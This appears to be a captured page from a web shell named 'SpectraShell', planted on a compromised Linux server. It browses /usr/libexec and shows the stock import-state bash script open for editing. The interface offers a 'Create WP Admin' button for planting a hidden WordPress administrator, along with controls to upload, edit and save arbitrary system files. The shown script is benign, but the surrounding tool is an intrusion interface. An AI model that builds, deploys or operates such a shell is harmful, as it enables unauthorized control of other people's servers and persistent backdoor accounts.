🌌 SpectraShell
Current path:
usr
/
libexec
/
👤 Create WP Admin
⬆️
Go up: /usr
✏️ Editing: import-state
#!/usr/bin/bash # import-state: import state files from initramfs (e.g. network config) # Copy state into root folder: # ============================ cd /run/initramfs/state IFS_backup=$IFS IFS=$'\n' # Process find's results line by line dirs_found=$(find . -type d) for dir in $dirs_found; do pushd "$dir" > /dev/null # Remove initial '.' char from the find's result: dest_dir="${dir/\./}" # Create destination folder if it does not exist (with the same rights): if [[ -n "$dest_dir" && ! -d "$dest_dir" ]]; then mkdir -p "$dest_dir" chmod --reference="$PWD" "$dest_dir" chown --reference="$PWD" "$dest_dir" fi # Copy all files that are not directory: find . -mindepth 1 -maxdepth 1 -not -type d -exec cp -av -t "$dest_dir" {} \; > /dev/null popd > /dev/null done IFS=$IFS_backup # Run restorecon on the copied files: # =================================== if [ -e /sys/fs/selinux/enforce ] && [ -x /usr/sbin/restorecon ]; then find . -mindepth 1 -print0 | { cd / && xargs --null restorecon -iF; } fi
Save
Upload
📁
Create Folder
📁
awk
📁
cloud-init
📁
coreutils
📁
dovecot
📁
dpkg
📁
emacs
📁
gawk
📁
gcc
📁
geoclue-2.0
📁
getconf
📁
git-core
📁
grub2
📁
grubby
📁
gstreamer-1.0
📁
hostname
📁
initscripts
📁
installkernel
📁
iptables
📁
irqbalance
📁
kcare
📁
linux-boot-probes
📁
man-db
📁
microcode_ctl
📁
nfs-utils
📁
openldap
📁
openssh
📁
oracle-cloud-agent
📁
os-prober
📁
os-probes
📁
p11-kit
📁
psacct
📁
rsyslog
📁
selinux
📁
smartmontools
📁
sssd
📁
sudo
📁
totem-pl-parser
📁
tracker3
📁
tuned
📁
utempter
📄
arptables-helper
|
✏️ Edit
📄
arptables-nft-helper
|
✏️ Edit
📄
at-spi-bus-launcher
|
✏️ Edit
📄
at-spi2-registryd
|
✏️ Edit
📄
dconf-service
|
✏️ Edit
📄
dirmngr_ldap
|
✏️ Edit
📄
dnf-utils
|
✏️ Edit
📄
exim.daemon
|
✏️ Edit
📄
fips-setup-helper
|
✏️ Edit
📄
flatpak-oci-authenticator
|
✏️ Edit
📄
flatpak-portal
|
✏️ Edit
📄
flatpak-session-helper
|
✏️ Edit
📄
flatpak-system-helper
|
✏️ Edit
📄
flatpak-validate-icon
|
✏️ Edit
📄
generate-rndc-key.sh
|
✏️ Edit
📄
geoclue
|
✏️ Edit
📄
glib-pacrunner
|
✏️ Edit
📄
gpg-check-pattern
|
✏️ Edit
📄
gpg-pair-tool
|
✏️ Edit
📄
gpg-preset-passphrase
|
✏️ Edit
📄
gpg-protect-tool
|
✏️ Edit
📄
gpg-wks-client
|
✏️ Edit
📄
grepconf.sh
|
✏️ Edit
📄
import-state
|
✏️ Edit
📄
iscsi-mark-root-nodes
|
✏️ Edit
📄
keyboxd
|
✏️ Edit
📄
loadmodules
|
✏️ Edit
📄
low-memory-monitor
|
✏️ Edit
📄
nfsrahead
|
✏️ Edit
📄
nm-daemon-helper
|
✏️ Edit
📄
nm-dhcp-helper
|
✏️ Edit
📄
nm-dispatcher
|
✏️ Edit
📄
nm-initrd-generator
|
✏️ Edit
📄
nm-libnm-helper
|
✏️ Edit
📄
nm-priv-helper
|
✏️ Edit
📄
platform-python
|
✏️ Edit
📄
platform-python-config
|
✏️ Edit
📄
platform-python3.9
|
✏️ Edit
📄
platform-python3.9-config
|
✏️ Edit
📄
platform-python3.9-x86_64-config
|
✏️ Edit
📄
revokefs-fuse
|
✏️ Edit
📄
rtkit-daemon
|
✏️ Edit
📄
scdaemon
|
✏️ Edit
📄
tracker-extract-3
|
✏️ Edit
📄
tracker-miner-fs-3
|
✏️ Edit
📄
tracker-miner-fs-control-3
|
✏️ Edit
📄
tracker-writeback-3
|
✏️ Edit
📄
tracker-xdg-portal-3
|
✏️ Edit
📄
upowerd
|
✏️ Edit
📄
virt-what-cpuid-helper
|
✏️ Edit
📄
xdg-desktop-portal
|
✏️ Edit
📄
xdg-desktop-portal-gtk
|
✏️ Edit
📄
xdg-document-portal
|
✏️ Edit
📄
xdg-permission-store
|
✏️ Edit